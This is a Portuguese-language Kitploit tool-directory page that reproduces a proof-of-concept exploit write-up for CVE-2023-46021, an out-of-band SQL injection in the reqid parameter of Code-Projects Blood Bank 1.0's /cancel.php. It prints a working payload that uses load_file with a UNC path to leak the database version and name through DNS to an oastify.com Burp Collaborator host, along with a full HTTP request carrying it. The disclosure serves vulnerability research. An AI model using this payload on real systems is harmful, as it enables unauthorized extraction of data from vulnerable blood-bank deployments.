Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-46021-Code-Projects-Blood-Bank-1.0-SQL-Injection-Vulnerability — Exploit de prova de conceito para injeção de SQL Out-of-Band no Code-Projects Blood Bank V1.0 via parâmetro reqid, permitindo extração de versão do banco de dados e dados através do Burp Collaborator. | Kitploit
Ferramentas/GitHubGitHub/ersinerenler/cve-2023-46021-code-projects-blood-bank-1.0-sql-injection-vulnerability
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubersinerenler/cve-2023-46021-code-projects-blood-bank-1.0-sql-injection-vulnerability

CVE-2023-46021-Code-Projects-Blood-Bank-1.0-SQL-Injection-Vulnerability

Exploit de prova de conceito para injeção de SQL Out-of-Band no Code-Projects Blood Bank V1.0 via parâmetro reqid, permitindo extração de versão do banco de dados e dados através do Burp Collaborator.

Ver Repositório
2há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-46021-Code-Projects-Blood-Bank-1.0-Vulnerabilidade-de-Injeção-SQL-OOB

  • Autor do Exploit: ersinerenler

Página do Fornecedor

  • https://code-projects.org/blood-bank-in-php-with-source-code

Link do Software

  • https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip

Visão Geral

  • O Blood Bank V1.0 da Code-Projects está exposto a uma vulnerabilidade crítica de segurança envolvendo Injeção SQL Fora de Banda (OOB) através do parâmetro 'reqid' no arquivo /cancel.php. Esta vulnerabilidade surge devido à falta de mecanismos de proteção adequados, permitindo que atacantes abusem do parâmetro e realizem ataques de injeção SQL OOB via Burp Collaborator. Isso pode resultar em acesso não autorizado e extração de informações sensíveis dos bancos de dados.

Detalhes da Vulnerabilidade

  • CVE ID: CVE-2023-46021
  • Versão Afetada: Blood Bank V1.0
  • Arquivo Vulnerável: /cancel.php
  • Nome do Parâmetro: reqid
  • Tipo de Ataque: Local

    • Referências:

    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46021
    • https://nvd.nist.gov/vuln/detail/CVE-2023-46021

    Descrição

    • O parâmetro 'reqid' no arquivo /cancel.php do Blood Bank V1.0 da Code-Projects é suscetível a Injeção SQL Fora de Banda. Esta vulnerabilidade decorre de mecanismos de proteção inadequados, permitindo que atacantes explorem o parâmetro usando o Burp Collaborator para iniciar ataques de injeção SQL OOB. Através desta técnica, um atacante pode potencialmente extrair informações sensíveis dos bancos de dados.

    Prova de Conceito (PoC) :

    • Intercepte a requisição para cancel.php através do Burp Suite
    • Injete o payload nos parâmetros vulneráveis
    • Payload: 4'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.collaborator-domain\\a.txt')))%2b'
    • Exemplo de requisição para o parâmetro reqid
    root@kitploit:~
    ---
GET /bloodbank/file/cancel.php?reqid=4'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.7mus27hip62tznk3gy4n7z3fo6uxin6c.oastify.com\\a.txt')))%2b' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://localhost/bloodbank/sentrequest.php?msg=You%20have%20requested%20for%20blood%20group%20A+.%20Our%20team%20will%20contact%20you%20soon.
Cookie: PHPSESSID=<some-cookie-value>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
---
    • Informações do banco de dados e versão foram obtidas através do Burp Suite Collaborator
    imagem
    Baixar ferramenta